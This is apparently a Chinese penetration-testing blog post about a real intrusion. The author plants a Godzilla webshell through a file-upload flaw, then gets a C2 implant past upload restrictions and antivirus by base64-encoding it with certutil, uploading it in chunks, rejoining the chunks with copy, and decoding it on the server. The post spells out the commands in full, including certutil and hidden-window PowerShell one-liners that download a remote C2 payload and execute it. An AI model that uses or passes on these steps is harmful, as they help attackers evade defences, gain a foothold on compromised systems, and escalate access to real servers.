在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。
最近团队师傅找到我,想要让我帮忙提权一个站点,正好用上了这个骚操作,看网上好像都没有人记录这个手法,这边就浅浅记录一下,希望能帮助到屏幕前面的你。
通过某供应商服务系统的文件任意上传1day,上传了一个哥斯拉(Godzilla)的Asp马,并成功连接上了WebShell,但是权限很低很低:

- WebShell连接方式:直接连接IP:端口的,中间不可能有WAF存在(有些人真的扯)
- 目标系统:Microsoft Windows Server 2016 Datacenter
- whoami:
iis apppool\*****scm4 - 文件管理情况:WebShell只能上传写入TXT和图片类型文件,且大文件无法上传、移动和删除 (注意!!!服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)
- 命令使用情况:无法使用PowerShell和其他高危指令
- 杀软情况:Microsoft Security Essentials(
MsMpEng.exe)/火绒(usysdiag.exe)/Microsoft Internet Security(MSASCui.exe) - 网络连接情况:目标系统对外只能访问白名单URL,不在白名单没法访问

我尝试通过WebShell更换目录上传EXE,甚至上传一个HelloWorld的EXE文件,都无法上传,这个情况我也是第一次碰到,后面要好好再分析一下原因。

通常来说,在红蓝攻防中Web打点成功后,一般会上传C2并上线清理入侵痕迹,然后再去搜索敏感文件以及对内网资产进行探查。
上传C2到服务器一般有以下操作(针对Win):
- 通过WebShell上传C2文件并执行
- 通过
Certutil远程下载C2文件并执行 - 通过
PowerShell远程下载C2文件并执行
通过 Certutil 远程下载C2文件并执行
certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数通过 PowerShell 远程下载C2文件并执行
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数但我们目前的情况,虽然Web打点成功了,但是没办法写入或者下载C2进行上线(测试过了,几种文件远程下载的指令都被杀软拦截或者被系统屏蔽了),WebShell也没办法上传C2可执行文件 (服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)
这种情况,上线C2都基本不可能了,更别说提权和内网渗透了
综上所述,这个权限已经是很低很低了,但不慌,我们看看有什么办法能突破
首先我们先要了解一个Windows系统的自带工具:Certutil
很多人只知道可以通过 Certutil 进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)
那我就通过本次实战案例,给大家演示一下整个ByPass过程:
3.1 加密C2可执行文件
首先,准备好C2可执行文件,通过 Certutil 进行加密导出
Certutil -encode C2可执行文件名.exe out.txt
可以打开导出的TXT,看到文件有如下特征:

-----BEGIN CERTIFICATE-----
加密后的内容
-----END CERTIFICATE-----3.2 切割TXT文件上传并拼接、解密
因为上面说了,太大的文件没办法通过WebShell上传写入,于是让我们测试一下极限:
先试试2000行能否写入:

2000行的数据写入是没问题的,那3000行呢?

看,保存失败了,所以我们要将TXT切割后上传再拼接
随便去网上下载一个TXT切割器,如下:

好机会,切割出67个TXT,在服务器上新建一个文件夹,全部上传上去:

再使用 copy 命令进行拼接:
copy 1.txt + 2.txt + 3.txt + 4.txt + 5.txt + 6.txt + 7.txt + 8.txt + 9.txt + 10.txt out10.txt //out10.txt:合并1~10的前十个文件
copy 11.txt + 12.txt + 13.txt + 14.txt + 15.txt + 16.txt + 17.txt + 18.txt + 19.txt + 20.txt out20.txt //out20.txt:合并11~20的前十个文件
//如此往复,按照10个每组合并完成注意:这里不能用通配符(*.txt)进行 copy ,因为这样会打乱文件顺序,就解密不了了
因为怕出错,我每10个文件 copy 一下,然后可以生成以下文件:

确认无误后,再用 copy 命令再合并一次:
copy out10.txt + out20.txt + out30.txt + out40.txt + out50.txt + out60.txt + out67.txt output.txt //合并总的文件最后输出 output.txt 用 Certutil 进行解密操作即可:
Certutil -decode output.txt C2可执行文件名.exe
3.3 执行C2文件上线机器
上面已经成功将C2可执行文件解密出来了,然后执行上线即可:


很多时候,虽然看似“山穷水尽疑无路”,但仔细钻研,还是能“柳暗花明又一村”,有时候换个思路,可能就可以突破目前的困境。
在后渗透过程中, Certutil 虽然可以进行远程下载文件(但会被杀软拦截),但它还能加密和解密本地文件(不会报毒,可以用来ByPassAV),这种思路在后渗透阶段还是值得学习和深入拓展的
在本次实战情况下,面对苛刻的服务器条件,虽然没搞明白是如何做到让我无法通过WebShell上传EXE的,但是通过 Certutil 的加密解密机制,还是成功写入了C2可执行文件并上线提权,这不妨也是一种收获。